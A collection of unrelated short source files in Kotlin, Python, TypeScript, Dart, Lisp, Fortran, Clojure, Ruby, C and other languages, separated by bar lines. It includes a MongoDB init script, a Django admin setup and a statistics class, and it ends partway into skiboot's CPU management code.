class DefaultActivity : TestActivity() {
private val navigation by navigationHandle<DefaultActivityKey> {
defaultKey(defaultKey)
}
companion object {
val defaultKey = DefaultActivityKey("default")
}
}
@Parcelize
data class GenericActivityKey(val id: String) : NavigationKey
@NavigationDestination(GenericActivityKey::class)
class GenericActivity : TestActivity()
@Parcelize
data class ActivityWithFragmentsKey(val id: String) : NavigationKey
@NavigationDestination(ActivityWithFragmentsKey::class)
class ActivityWithFragments : TestActivity() {
private val navigation by navigationHandle<ActivityWithFragmentsKey> {
defaultKey(ActivityWithFragmentsKey("default"))
container(primaryFragmentContainer) {
it is ActivityChildFragmentKey || it is ActivityChildFragmentTwoKey
}
}
}
@Parcelize
data class ActivityChildFragmentKey(val id: String) : NavigationKey
@NavigationDestination(ActivityChildFragmentKey::class)
class ActivityChildFragment : TestFragment() {
val navigation by navigationHandle<ActivityChildFragmentKey>() {
container(primaryFragmentContainer) {
it is Nothing
}
}
}
@Parcelize
data class ActivityChildFragmentTwoKey(val id: String) : NavigationKey
@NavigationDestination(ActivityChildFragmentTwoKey::class)
class ActivityChildFragmentTwo : TestFragment()
@Parcelize
data class GenericFragmentKey(val id: String) : NavigationKey
@NavigationDestination(GenericFragmentKey::class)
class GenericFragment : TestFragment()
class UnboundActivity : TestActivity()
class UnboundFragment : TestFragment()
|
from __future__ import print_function
from __future__ import absolute_import
import errno
import os
def mkdir_p(path):
try:
os.makedirs(path)
except OSError as exc: # Python >2.5
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else:
raise
def init_directories(exp_name, root_dir=None):
if not root_dir:
root_dir = os.environ['OUTPUT_DIR']
dirs = dict()
names = ['samples', 'ckpt'] #, 'plots', 'logs']
for n in names:
dirs[n] = os.path.join(root_dir, n, exp_name)
return dirs
def create_directories(dirs, train, save_codes):
if train:
keys = [k for k in dirs.keys() if (k!= 'codes' and k!= 'data')]
for k in keys:
mkdir_p(dirs[k])
if save_codes:
mkdir_p(dirs['codes'])
|
# 界面列表
1. [Network(请求列表页面)](network.md)
1. [Composer(构造请求)](composer.md)
1. [Log(日志平台)](log.md)
1. [Rules(操作规则配置界面)](rules.md)
1. [Values(存放KeyValue的系统)](values.md)
1. [Plugins(插件列表页面)](plugins.md)
1. [WebSocket(WebSocket抓包功能)](websocket.md)
1. [Filter(设置Network请求列表的过滤条件)](filter.md)
1. [Settings(设置对话框)](settings.md)
1. [Weinre(weinre列表)](weinre.md)
1. [HTTPS(设置HTTPS拦截及根证书)](https.md)
1. [Help(帮助文档)](help.md)
1. [About(whistle版本信息)](about.md)
1. [Online(在线状态及服务器信息)](online.md)
|
# Repository has been moved
It has been merged into https://github.com/clash-lang/clash-compiler.
|
var a00465 =
[
[ "KalmanFilter", "a00148.html", "a00148" ],
[ "KALMANFILTER_DEFAULT_FACTORIZATION", "a00465.html#a2575547a3cb9a99e7336a86103bb9889", null ]
];
|
# Package changelog for [optipng](https://chocolatey.org/packages/optipng)
## UPCOMING
- Migrated package to the core team repository
- Modernized and embedded the package
## Version: 0.7.5.20141004 (2014-10-04)
- Installation directory is now `$PSScriptDir` instead of `$env:ChocolateyBinRoot\OptiPNG`
|
FactoryBot.define do
factory :dimensions_month, class: "Dimensions::Month" do
end
end
|
import { nanoid } from 'nanoid'
import prettyMilliseconds from 'pretty-ms'
import CryptoRandomString from "../commonjs-libs/crypto-random-string"
import { Logger } from '../logger'
import { getTime } from "../util"
const log = Logger.getLogger("Crypto", "Token")
export class Token {
static generate() {
const currLog = log.scope(nanoid())
const start = getTime()
currLog.await(`🕑 Requesting to generate token...`)
const token = CryptoRandomString.generate({
type: "ascii-printable",
length: 64
})
const diff = prettyMilliseconds(getTime() - start)
currLog.success(`🔑 Token generation took ${diff}`)
return token
}
}
|
import 'package:built_redux/built_redux.dart';
import 'package:test/test.dart';
import 'collection_models.dart';
void main() {
group('collection reducer builders', () {
Store<Collection, CollectionBuilder, CollectionActions> store;
setUp(() {
store = Store<Collection, CollectionBuilder, CollectionActions>(
getCollectionReducer(),
Collection(),
CollectionActions(),
);
});
tearDown(() {
store.dispose();
});
test('all collections', () {
expect(store.state.builtList.length, 0);
expect(store.state.builtListMultimap.keys.length, 0);
expect(store.state.builtMap.keys.length, 0);
expect(store.state.builtSet.length, 0);
expect(store.state.builtSetMultimap.keys.length, 0);
store.actions.builtListAction();
expect(store.state.builtList.length, 1);
expect(store.state.builtListMultimap.keys.length, 0);
expect(store.state.builtMap.keys.length, 0);
expect(store.state.builtSet.length, 0);
expect(store.state.builtSetMultimap.keys.length, 0);
store.actions.builtListMultimapAction();
expect(store.state.builtList.length, 1);
expect(store.state.builtListMultimap.keys.length, 1);
expect(store.state.builtMap.keys.length, 0);
expect(store.state.builtSet.length, 0);
expect(store.state.builtSetMultimap.keys.length, 0);
store.actions.builtMapAction();
expect(store.state.builtList.length, 1);
expect(store.state.builtListMultimap.keys.length, 1);
expect(store.state.builtMap.keys.length, 1);
expect(store.state.builtSet.length, 0);
expect(store.state.builtSetMultimap.keys.length, 0);
store.actions.builtSetAction();
expect(store.state.builtList.length, 1);
expect(store.state.builtListMultimap.keys.length, 1);
expect(store.state.builtMap.keys.length, 1);
expect(store.state.builtSet.length, 1);
expect(store.state.builtSetMultimap.keys.length, 0);
store.actions.builtSetMultimapAction();
expect(store.state.builtList.length, 1);
expect(store.state.builtListMultimap.keys.length, 1);
expect(store.state.builtMap.keys.length, 1);
expect(store.state.builtSet.length, 1);
expect(store.state.builtSetMultimap.keys.length, 1);
});
});
}
|
(:eval-when (:compile-toplevel :load-toplevel)
(ql:quickload :chirp))
(defpackage :coleslaw-twitter
(:use :cl)
(:import-from :coleslaw #:*config*
#:deploy
#:get-updated-files
#:find-content-by-path
#:title-of
#:author-of
#:page-url
#:plugin-conf-error)
(:export #:enable))
(in-package :coleslaw-twitter)
(defvar *tweet-format* '(:title "by" :author)
"Controls what the tweet annoucing the post looks like.")
(defvar *tweet-format-fn* nil "Function that expects an instance of
coleslaw:post and returns the tweet content.")
(defvar *tweet-format-dsl-mapping*
'((:title title-of)
(:author author-of)))
(define-condition malformed-tweet-format (error)
((item :initarg :item :reader item))
(:report
(lambda (condition stream)
(format stream "Malformed tweet format. Can't proccess: ~A"
(item condition)))))
(defun compile-tweet-format (tweet-format)
(flet ((accessor-for (x)
(rest (assoc x *tweet-format-dsl-mapping*))))
(lambda (post)
(apply #'format nil "~{~A~^ ~}"
(loop for item in *tweet-format*
unless (or (keywordp item) (stringp item))
(error 'malformed-tweet-format :item item)
when (keywordp item)
collect (funcall (accessor-for item) post)
when (stringp item)
collect item)))))
(defun enable (&key api-key api-secret access-token access-secret tweet-format)
(if (and api-key api-secret access-token access-secret)
(setf chirp:*oauth-api-key* api-key
chirp:*oauth-api-secret* api-secret
chirp:*oauth-access-token* access-token
chirp:*oauth-access-secret* access-secret)
(error 'plugin-conf-error :plugin "twitter"
:message "Credentials missing."))
;; fallback to chirp for credential erros
(chirp:account/verify-credentials)
(when tweet-format
(setf *tweet-format* tweet-format))
(setf *tweet-format-fn* (compile-tweet-format *tweet-format*)))
(defmethod deploy :after (staging)
(declare (ignore staging))
(loop :for (state file) :in (get-updated-files)
:when (and (string= "A" state) (string= "post" (pathname-type file)))
:do (tweet-new-post file)))
(defun tweet-new-post (file)
"Retrieve content matching FILE from in memory DB and publish it."
(let ((post (find-content-by-path file)))
(chirp:statuses/update (%format-post 0 post))))
(defun %format-post (offset post)
"Guarantee that the tweet content is 140 chars at most. The 117 comes from
the spaxe needed for a space and the url."
(let* ((content-prefix (subseq (render-tweet post) 0 (- 117 offset)))
(content (format nil "~A ~A/~A" content-prefix
(coleslaw::domain *config*)
(page-url post)))
(content-length (chirp:compute-status-length content)))
(cond
((>= 140 content-length) content)
((< 140 content-length) (%format-post (1- offset) post)))))
(defun render-tweet (post)
"Sans the url, which is a must."
(funcall *tweet-format-fn* post))
|
import * as fs from "fs";
import * as path from "path";
import * as grammar from "./src/grammar";
import * as generator from "./src/generator";
function main() {
const meow = require("meow");
// TODO: Replace meow with commander: https://github.com/tj/commander.js
const cli = meow(`
Usage
$ fbagen <files>
Options
-o, --output-path Output generated files to path
-n, --csharp Generate C# code
Examples
$ fbagen -o GeneratedCode -n Schema.fbs
`, {
alias: {
o: 'output-path',
n: 'csharp',
},
string: ["output-path"],
boolean: ["csharp"],
});
if (cli.input.length > 0) {
for (let filePath of cli.input) {
let schema = grammar.Grammar.parse(filePath);
let gens : generator.Generators.CSharpGenerator[] = [];
if (cli.flags.csharp) {
gens.push(new generator.Generators.CSharpGenerator(schema));
}
if (gens.length == 0)
throw new Error("No generator is specified");
for (let gen of gens) {
let codeFileName = `${path.basename(filePath, ".fbs")}Accessors${gen.ext()}`;
// console.log("filename: " + codeFileName);
let codeFilePath = path.join(cli.flags.outputPath, codeFileName);
let code = gen.generate();
fs.writeFileSync(codeFilePath, code, { encoding: "utf8", flag: 'w' });
}
}
}
else {
console.info(cli.help);
}
}
main();
|
import 'package:flutter/material.dart';
import 'package:moor/moor.dart';
abstract class MainNavigation {
void goToSplash();
void goToLogin();
void goToHome();
void goToAddTodo();
void goToDebugPlatformSelector();
void goToLicense();
void closeDialog();
void goToDatabase(GeneratedDatabase db);
void goBack<T>({T result});
void showCustomDialog<T>({WidgetBuilder builder});
}
mixin MainNavigationMixin<T extends StatefulWidget> on State<T> implements MainNavigation {}
|
#ifndef DOWNLOADER_H
#define DOWNLOADER_H
#include <QObject>
#include <QNetworkAccessManager>
namespace ntwk {
class Downloader;
extern QString DownloadPath;
}
/**
* @brief The ntwk::Downloader class
*/
class ntwk::Downloader : public QObject {
Q_OBJECT
public:
explicit Downloader(QObject *parent = nullptr);
~Downloader();
void doDownload(QString urlStr);
public slots:
void replyFinished(QNetworkReply *reply);
signals:
private:
QNetworkAccessManager *manager;
};
#endif // DOWNLOADER_H
|
import React from 'react';
import { Formik } from 'formik';
import styled from '@emotion/styled';
const FormContainer = styled.div`
position: fixed;
top: 150px;
left: 200px;
background-color: white;
border-radius: 15px;
width: 400px;
height: 500px;
padding: 20px;
`;
const ButtonContainer = styled.div`
margin-top: 60px;
display: flex;
justify-content: center;
/* &:hover {
cursor: pointer;
} */
`;
const ConfirmButton = styled.button`
padding: 10px;
border-radius: 10px;
border: none;
`;
const StyledInput = styled.input`
padding: 10px;
border-radius: 20px;
`;
const NameForm = () => {
return (
<FormContainer>
<h1>Enter your nickname</h1>
<Formik
initialValues={{ name: '' }}
onSubmit={(values, actions) => {
setTimeout(() => {
alert(JSON.stringify(values, null, 2));
actions.setSubmitting(false);
}, 1000);
}}
>
{(props) => (
<form onSubmit={props.handleSubmit}>
<StyledInput
type="text"
onChange={props.handleChange}
onBlur={props.handleBlur}
value={props.values.name}
name="name"
/>
{props.errors.name && <div id="feedback">{props.errors.name}</div>}
<ButtonContainer>
<ConfirmButton type="submit">Submit</ConfirmButton>
</ButtonContainer>
</form>
)}
</Formik>
</FormContainer>
);
};
export default NameForm;
|
function ddot_22(T1, T2)
implicit none
type(Tensor2), intent(in) :: T1
type(Tensor2), intent(in) :: T2
real(kind=8) :: ddot_22
integer :: i,j
ddot_22 = 0.d0
do i = 1,3
do j = 1,3
ddot_22 = ddot_22 + T1%ab(i,j)*T2%ab(i,j)
enddo
enddo
end function ddot_22
function ddot_2s2s(T1, T2)
implicit none
type(Tensor2s), intent(in) :: T1
type(Tensor2s), intent(in) :: T2
real(kind=8) :: ddot_2s2s
integer :: i
ddot_2s2s = 0.d0
do i=1,3
ddot_2s2s = ddot_2s2s + T1%a6(i)*T2%a6(i)
enddo
do i=4,6
ddot_2s2s = ddot_2s2s + T1%a6(i)*T2%a6(i)*2.d0
enddo
end function ddot_2s2s
function ddot_24(T1, T2)
implicit none
type(Tensor2), intent(in) :: T1
type(Tensor4), intent(in) :: T2
type(Tensor2) :: ddot_24
integer :: i,j,k,l
ddot_24%ab = 0.d0
do i = 1,3
do j = 1,3
do k = 1,3
do l = 1,3
ddot_24%ab(k,l) = ddot_24%ab(k,l)
* + T1%ab(i,j)*T2%abcd(i,j,k,l)
enddo
enddo
enddo
enddo
end function ddot_24
function ddot_2s4s(T1, T2)
implicit none
type(Tensor2s), intent(in) :: T1
type(Tensor4s), intent(in) :: T2
type(Tensor2s) :: ddot_2s4s
real(kind=8) :: w
integer :: i,j
ddot_2s4s%a6 = 0.d0
do i = 1,6
do j = 1,6
if (i > 3) then
w = 2.d0
else
w = 1.d0
endif
ddot_2s4s%a6(j) = ddot_2s4s%a6(j)
* + T1%a6(i)*T2%a6b6(i,j)*w
enddo
enddo
end function ddot_2s4s
function ddot_42(T1, T2)
implicit none
type(Tensor4), intent(in) :: T1
type(Tensor2), intent(in) :: T2
type(Tensor2) :: ddot_42
integer :: i,j,k,l
ddot_42%ab = 0.d0
do i = 1,3
do j = 1,3
do k = 1,3
do l = 1,3
ddot_42%ab(i,j) = ddot_42%ab(i,j)
* + T1%abcd(i,j,k,l)*T2%ab(k,l)
enddo
enddo
enddo
enddo
end function ddot_42
function ddot_4s2s(T1, T2)
implicit none
type(Tensor4s), intent(in) :: T1
type(Tensor2s), intent(in) :: T2
type(Tensor2s) :: ddot_4s2s
real(kind=8) :: w
integer :: i,j
ddot_4s2s%a6 = 0.d0
do i = 1,6
do j = 1,6
if (j > 3) then
w = 2.d0
else
w = 1.d0
endif
ddot_4s2s%a6(i) = ddot_4s2s%a6(i)
* + T1%a6b6(i,j)*T2%a6(j)*w
enddo
enddo
end function ddot_4s2s
function ddot_44(T1, T2)
implicit none
type(Tensor4), intent(in) :: T1
type(Tensor4), intent(in) :: T2
type(Tensor4) :: ddot_44
integer :: i,j,k,l,m,n
ddot_44%abcd = 0.d0
do i = 1,3
do j = 1,3
do m = 1,3
do n = 1,3
do k = 1,3
do l = 1,3
ddot_44%abcd(i,j,k,l) = ddot_44%abcd(i,j,k,l)
* + T1%abcd(i,j,m,n)*T2%abcd(m,n,k,l)
enddo
enddo
enddo
enddo
enddo
enddo
end function ddot_44
function ddot_4s4s(T1, T2)
implicit none
type(Tensor4s), intent(in) :: T1
type(Tensor4s), intent(in) :: T2
type(Tensor4s) :: ddot_4s4s
real(kind=8) :: w
integer :: i,j,k,l
ddot_4s4s%a6b6 = 0.d0
do i = 1,6
do k = 1,6
do j = 1,6
if (k > 3) then
w = 2.d0
else
w = 1.d0
endif
ddot_4s4s%a6b6(i,j) = ddot_4s4s%a6b6(i,j)
* + T1%a6b6(i,k)*T2%a6b6(k,j)*w
enddo
enddo
enddo
end function ddot_4s4s
|
namespace Leak.Common
{
public class Metainfo
{
private readonly FileHash hash;
private readonly MetainfoEntry[] entries;
private readonly MetainfoHash[] pieces;
private readonly MetainfoProperties properties;
public Metainfo(FileHash hash, MetainfoEntry[] entries, MetainfoHash[] pieces, MetainfoProperties properties)
{
this.hash = hash;
this.entries = entries;
this.pieces = pieces;
this.properties = properties;
}
public FileHash Hash
{
get { return hash; }
}
public MetainfoEntry[] Entries
{
get { return entries; }
}
public MetainfoHash[] Pieces
{
get { return pieces; }
}
public MetainfoProperties Properties
{
get { return properties; }
}
}
}
|
import { Flex, Grid } from "@chakra-ui/react"
import React from "react"
import CartItem from "./cart-item"
import Item from "./item"
export const confirmOrder = (
<Flex
textAlign="left"
py={2}
px={4}
borderWidth="1px"
borderRadius="lg"
h="250px"
>
<Grid templateColumns={`repeat(3, 1fr)`} overflowY="scroll" gap={4}>
{Array(10)
.fill("a")
.map((a, b) => (
<CartItem
imagePath={"/4.png"}
description="5%"
category="1"
title="Duck"
newPrice="100"
oldPrice="150"
key={b}
/>
))}
</Grid>
</Flex>
)
|
using System.Collections.Generic;
using System.Linq;
using Application.Core;
using Application.Infrastructure.StudentManagement;
using Application.Infrastructure.SubjectManagement;
using LMPlatform.Models;
namespace LMPlatform.UI.ViewModels.ParentalViewModels
{
public class ParentalViewModel
{
private readonly LazyDependency<IStudentManagementService> _studentManagementService = new LazyDependency<IStudentManagementService>();
private readonly LazyDependency<ISubjectManagementService> _subjectManagementService = new LazyDependency<ISubjectManagementService>();
public IStudentManagementService StudentManagementService
{
get
{
return _studentManagementService.Value;
}
}
public ISubjectManagementService SubjectManagementService
{
get
{
return _subjectManagementService.Value;
}
}
public ParentalViewModel()
{
}
public ParentalViewModel(Group group)
{
Group = group;
Subjects = SubjectManagementService.GetGroupSubjects(group.Id);
Students = StudentManagementService.GetGroupStudents(group.Id).ToList();
}
public Group Group { get; set; }
public List<Student> Students { get; set; }
public List<Subject> Subjects { get; set; }
}
}
|
package dev.schuberth.stan.exporters
import dev.schuberth.stan.model.Statement
import java.io.OutputStream
interface Exporter {
val extension: String
fun write(statement: Statement, output: OutputStream, options: Map<String, String> = emptyMap())
}
|
(ns modelo.parser
(:require [clj-by.example :refer [example do-for-example]]))
(def ^:private +examples-enabled+ true)
(defn mk-parser
"Create an empty parser."
[]
{:const {}
:extra []
:compound {}})
(do-for-example
(def ex-parser (atom (mk-parser))))
(declare parse-extra)
(defn parse
"Parses an expression `e` with `parser`.
Returns a pair of either
- `[:yes <expr>]` if parse is successful
- `[:no <info-map>]` in case of failure (no parser found)
- `[:error <info-map>]` in case of error."
([e parser] (if (sequential? e)
(if (seq e)
(if-let [sparser (get (:compound parser) (first e))]
(sparser e parser)
(parse-extra e parser))
(parse-extra e parser))
;; consts
(if-let [aparser (get (:const parser) e)]
(aparser e)
(parse-extra e parser)))))
(defn parse-extra [e parser]
(reduce (fn [res eparser]
(let [res' (eparser e parser)]
(case (first res')
:no res
:yes (reduced res')
:error (reduced res'))))
[:no {:msg "Cannot parse expression" :expr e}]
(:extra parser)))
(defn parse-seq
"Parses a sequence `s` of expressions with `parser`.
Returns `[:yes r]` with `r` a sequence of parsed values in case of succes,
or the first parse error encountered."
[s parser]
(loop [s s, res []]
(if (seq s)
(let [r (parse (first s) parser)]
(if (= (first r) :yes)
(recur (rest s) (conj res (second r)))
r))
[:yes res])))
(defn check-parse
"Parses expression `e` with parser `parser`.
Returns the parsed value or raises an exception in case of failure."
[e parser]
(let [res (parse e parser)]
;; (println "[check-parse] res=" res)
(case (first res)
:yes (second res)
:no (throw (ex-info "No parselet found for expression." {:expr e :info (second res)}))
:error (throw (ex-info "Parse error" {:expr e :error (second res)})))))
(defn register-const-parselet
"Registers in `parser` `parselet` for parsing `const`."
[parser const parselet]
(if (get (:const parser) const)
(throw (ex-info "Const parser already registered."
{:const const}))
(update parser :const
(fn [ps] (assoc ps const parselet)))))
(do-for-example
(swap! ex-parser (fn [parser] (register-const-parselet parser 'true (fn [_] [:yes true])))))
(example
(parse 'true @ex-parser) => [:yes true])
(example
(parse 'false @ex-parser)
=> [:no {:msg "Cannot parse expression", :expr false}])
(defn unregister-const-parselet
"Unregisters in `parser` the parselet for `const`."
[parser const]
(if (get (:const parser) const)
(update parser :const
(fn [ps] (dissoc ps const)))
(throw (ex-info "No such const parselet registered."
{:const const}))))
(example
(:const (unregister-const-parselet @ex-parser 'true)) => {})
(defn clear-const-parselets
"Unregister in `parser` all const parselets."
[parser] (assoc parser :const {}))
(example
(:const (clear-const-parselets @ex-parser)) => {})
(defn register-extra-parselet
"Registers in `parser` `parselet` as a extra parselet."
[parser parselet]
(update parser :extra #(conj % parselet)))
(do-for-example
(swap! ex-parser
(fn [parser] (register-extra-parselet
parser
(fn [v _] (if (and (counted? v)
(= (count v) 2)
(integer? (first v))
(keyword? (second v)))
[:yes v]
[:no {:msg "Not a good pair" :expr v}]))))))
(example
(parse [12 :hello] @ex-parser) => [:yes [12 :hello]])
(example
(parse [12 'hello] @ex-parser)
=> [:no {:msg "Cannot parse expression", :expr [12 'hello]}])
(defn clear-extra-parselets
"Unregister in `parser` all extra parserlets."
[parser]
(assoc parser :extra []))
(defn register-compound-parselet
"Registers in `parser` `parselet` as a compound parselet with first element `fst`."
[parser fst parselet]
(update parser :compound
#(if (get % fst)
(throw (ex-info "Compound parselet already registered."
{:first fst}))
(assoc % fst parselet))))
(do-for-example
(swap! ex-parser
(fn [parser] (register-compound-parselet
parser 'beep
(fn [v p]
(if (and (counted? v) (= (count v) 2))
(let [res (parse (second v) p)]
(if (= (first res) :yes)
[:yes {:type :beep :child (second res)}]
[:error (second res)]))
[:error {:msg "Need exactly one argument for :beep."
:nb-args (dec (count v))}]))))))
(example
(parse '(beep [42 :world]) @ex-parser)
=> [:yes {:type :beep, :child [42 :world]}])
(example
(parse '(beep 42) @ex-parser)
=> [:error {:msg "Cannot parse expression", :expr 42}])
(example
(parse '(beep true 42) @ex-parser)
=> [:error {:msg "Need exactly one argument for :beep.", :nb-args 2}])
(defn unregister-compound-parselet
"Unregisters in `parser` the compound parselet for `fst`."
[parser fst]
(if (get (:compound parser) fst)
(update parser :compound
(fn [ps] (dissoc ps fst)))
(throw (ex-info "No such compound parselet registered."
{:first fst}))))
(example
(:compound (unregister-compound-parselet @ex-parser 'beep)) => {})
(defn clear-compound-parselets
"Unregister in `parser` all compound parselets."
[parser] (assoc parser :compound {}))
(defn clear-parselets
"Unregister all parselets in `parser`."
[parser]
(-> parser
(clear-const-parselets)
(clear-compound-parselets)
(clear-extra-parselets)))
(do-for-example
(swap! ex-parser clear-parselets))
(example
(= @ex-parser (mk-parser)) => true)
|
package suhockii.dev.weather.navigation;
/**
* Created by alexander on 09/07/2017.
*/
public interface Command {
}
|
public class p003 {
public static void main(String[] args) {
System.out.println(new p003().run());
}
public String run() {
long n = 600851475143L;
while (true) {
long factor = Helpers.findSmallestFactor(n);
if (factor == n) {
return String.valueOf(n);
} else {
n = n / factor;
}
}
}
}
|
/*
The OpenTRV project licenses this file to you
under the Apache Licence, Version 2.0 (the "Licence");
you may not use this file except in compliance
with the Licence. You may obtain a copy of the Licence at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the Licence is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the Licence for the
specific language governing permissions and limitations
under the Licence.
Author(s) / Copyright (s): Deniz Erbilgin 2016
Damon Hart-Davis 2016
*/
/*
* Driver for DORM1/REV7 direct motor drive.
* TODO!!! Rename!
*/
#ifndef CONTENT_OTRADIOLINK_UTILITY_OTRADVALVE_TESTVALVE_H_
#define CONTENT_OTRADIOLINK_UTILITY_OTRADVALVE_TESTVALVE_H_
#include <stddef.h>
#include <stdint.h>
#include <OTV0p2Base.h>
#include "OTRadValve_AbstractRadValve.h"
#include "OTRadValve_ValveMotorDirectV1.h"
// Use namespaces to help avoid collisions.
namespace OTRadValve
{
/**
* @class TestValveMotor
* @brief Generic high level motor driver with minimal logic. Intended for battery and motor drive testing.
*/
class TestValveMotor : public OTRadValve::HardwareMotorDriverInterfaceCallbackHandler
{
private:
// Hardware interface instance, passed by reference.
// Must have a lifetime exceeding that of this enclosing object.
OTRadValve::HardwareMotorDriverInterface * const hw;
// Direction the motor is running in.
volatile bool state;
// Flag set on signalHittingEndStop() callback from end-top / stall / high-current input.
// Marked volatile for thread-safe lock-free access (with care).
volatile bool endStopDetected;
// Stores the number of times motor has hit an endstop.
volatile uint32_t counter;
// Run fast towards/to end stop as far as possible in this call.
// Terminates significantly before the end of the sub-cycle.
// Possibly allows partial recalibration, or at least re-homing.
// Returns true if end-stop has apparently been hit,
// else will require one or more further calls in new sub-cycles
// to hit the end-stop.
// May attempt to ride through stiff mechanics.
// Prints counter to serial in hex each time an end stop has been reached.
bool runFastTowardsEndStop(bool toOpen);
public:
// Create an instance, passing in a reference to the non-NULL hardware driver.
// The hardware driver instance lifetime must be longer than this instance.
TestValveMotor(OTRadValve::HardwareMotorDriverInterface * const hwDriver)
: hw(hwDriver), state(false), endStopDetected(false), counter(0) {}
/**
* @brief Updates the state of the motor logic.
* - Will run until end stop is detected and then reverse
* the direction of the motor and increment counter.
*/
void poll();
/**
* @brief Returns the end stop counter.
*/
inline uint32_t getCounter() { return counter; }
// Unused abstract functions.
void signalHittingEndStop(bool) { endStopDetected = true; }
void signalShaftEncoderMarkStart(bool) {}
void signalRunSCTTick(bool) {}
};
}
#endif /* CONTENT_OTRADIOLINK_UTILITY_OTRADVALVE_TESTVALVE_H_ */
|
from django.contrib import admin
from django.contrib.auth import get_user_model
from django.contrib.auth.models import Group
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from .models import Video, VideoOutput, Newsletter
admin.site.unregister(Group)
User = get_user_model()
class AccountAdmin(BaseUserAdmin):
list_display=('email','username','phonenumber','date_joined','last_login','is_admin','is_staff')
search_fields=('email','username')
readonly_fields=('date_joined','last_login')
filter_horizontal=()
list_filter=()
fieldsets=()
admin.site.register(User, AccountAdmin)
admin.site.register(Video)
admin.site.register(VideoOutput)
admin.site.register(Newsletter)
|
#!/bin/bash
set -e;
# a default non-root role
MONGO_NON_ROOT_ROLE="${MONGO_NON_ROOT_ROLE:-readWrite}"
echo ">>>>>>> Creating database and users..."
if [ -n "${MONGO_DATABASE_USERNAME:-}" ] && [ -n "${MONGO_DATABASE_PASSWORD:-}" ]; then
mongo -u $MONGO_INITDB_ROOT_USERNAME -p $MONGO_INITDB_ROOT_PASSWORD <<-EOF
db=db.getSiblingDB("$MONGO_INITDB_DATABASE");
use $MONGO_INITDB_DATABASE
db.createUser({
user: $(_js_escape "$MONGO_DATABASE_USERNAME"),
pwd: $(_js_escape "$MONGO_DATABASE_PASSWORD"),
roles: [ { role: $(_js_escape "$MONGO_NON_ROOT_ROLE"), db: $(_js_escape "$MONGO_INITDB_DATABASE") } ]
})
EOF
else
echo "Database and user creation failed. The variables listed in .env.sample must be provided in a .env file."
exit 403
fi
|
mod hammingcounter;
use hammingcounter::HammingCounter;
fn main() {
for i in HammingCounter::new(0xff) {
println!("{:064b}", i);
// This would be a pain to generate all of the numbers first then loop through all of them,
// so here's proof that it's lazy-evaluated:
if i == 0x000ff000 {
break;
}
}
}
|
require 'statsample-glm/glm/mle/base'
module Statsample
module GLM
module MLE
# Logistic MLE estimation.
# See Statsample::Regression for methods to generate a logit regression.
# Usage:
#
# mle=Statsample::GLM::MLE::Logistic.new
# mle.newton_raphson(x,y)
# beta=mle.coefficients
# likelihood=mle.likelihood(x, y, beta)
# iterations=mle.iterations
#
class Logistic < Statsample::GLM::MLE::Base
protected
# F(B'Xi)
def f(b,xi)
p_bx = (xi*b)[0,0]
res = (1.0/(1.0+Math::exp(-p_bx)))
if res == 0.0
res = 1e-15
elsif res == 1.0
res = 0.999999999999999
end
res
end
# Likehood for x_i vector, y_i scalar and b parameters
def likelihood_i(xi,yi,b)
(f(b,xi)**yi)*((1-f(b,xi))**(1-yi))
end
# Log Likehood for x_i vector, y_i scalar and b parameters
def log_likelihood_i(xi,yi,b)
fbx = f(b,xi)
(yi.to_f*Math::log(fbx))+((1.0-yi.to_f)*Math::log(1.0-fbx))
end
# First derivative of log-likelihood function
# x: Matrix (NxM)
# y: Matrix (Nx1)
# p: Matrix (Mx1)
def first_derivative(x,y,p)
raise "x.rows != y.rows" if x.row_size != y.row_size
raise "x.columns != p.rows" if x.column_size != p.row_size
n = x.row_size
k = x.column_size
fd = Array.new(k)
k.times {|i| fd[i] = [0.0]}
n.times do |i|
row = x.row(i).to_a
value1 = (1 - y[i,0]) - p_plus(row,p)
k.times do |j|
fd[j][0] -= value1*row[j]
end
end
Matrix.rows(fd, true)
end
# Second derivative of log-likelihood function
# x: Matrix (NxM)
# y: Matrix (Nx1)
# p: Matrix (Mx1)
def second_derivative(x,y,p2)
raise "x.rows!=y.rows" if x.row_size!=y.row_size
raise "x.columns!=p.rows" if x.column_size!=p2.row_size
n = x.row_size
k = x.column_size
sd = Array.new(k)
k.times do |i|
arr = Array.new(k)
k.times{ |j| arr[j]=0.0}
sd[i] = arr
end
n.times do |i|
row = x.row(i).to_a
p_m = p_minus(row,p2)
k.times do |j|
k.times do |l|
sd[j][l] -= (p_m*(1-p_m)*row[j]*row[l])
end
end
end
Matrix.rows(sd, true)
end
def measurement x, b
(x * b).map { |y| 1/(1 + Math.exp(-y)) }
end
private
def p_minus(x_row,p)
value = 0.0;
x_row.each_index { |i| value += x_row[i]*p[i,0]}
1/(1+Math.exp(-value))
end
def p_plus(x_row,p)
value = 0.0;
x_row.each_index { |i| value += x_row[i]*p[i,0]}
1/(1+Math.exp(value))
end
end # Logistic
end # MLE
end # GLM
end # Statsample
|
package com.soup.memo.guava.io;
import org.junit.Test;
/**
* @author zhaoyi
* @description CharSink
* @date 2019-05-01 09:35
**/
public class CharSinkTest {
/**
* CharSource --> Reader
* CharSink --> Writer
*/
@Test
public void testCharSink() {
}
}
|
// SPDX-License-Identifier: Apache-2.0
/*
* Code to manage and manipulate CPUs
*
* Copyright 2013-2019 IBM Corp.
*/
#include <skiboot.h>
#include <cpu.h>
#include <device.h>
#include <mem_region.h>
#include <opal.h>
#include <stack.h>
#include <trace.h>
#include <affinity.h>
#include <chip.h>
#include <timebase.h>
#include <interrupts.h>
#include <ccan/str/str.h>
#include <ccan/container_of/container_of.h>
#include <xscom.h>
/* The cpu_threads array is static and indexed by PIR in
* order to speed up lookup from asm entry points
*/
struct cpu_stack {
union {
uint8_t stack[STACK_SIZE];
struct cpu_thread cpu;
};
} __align(STACK_SIZE);
static struct cpu_stack * const cpu_stacks = (struct cpu_stack *)CPU_STACKS_BASE;
unsigned int cpu_thread_count;
unsigned int cpu_max_pir;
struct cpu_thread *boot_cpu;
static struct lock reinit_lock = LOCK_UNLOCKED;
static bool hile_supported;
static bool radix_supported;
static unsigned long hid0_hile;
static unsigned long hid0_attn;
static bool sreset_enabled;
static bool ipi_enabled;
static bool pm_enabled;
static bool current_hile_mode;
static bool current_radix_mode = true;
static bool tm_suspend_enabled;
unsigned long cpu_secondary_start __force_data = 0;
struct cpu_job {
struct list_node link;
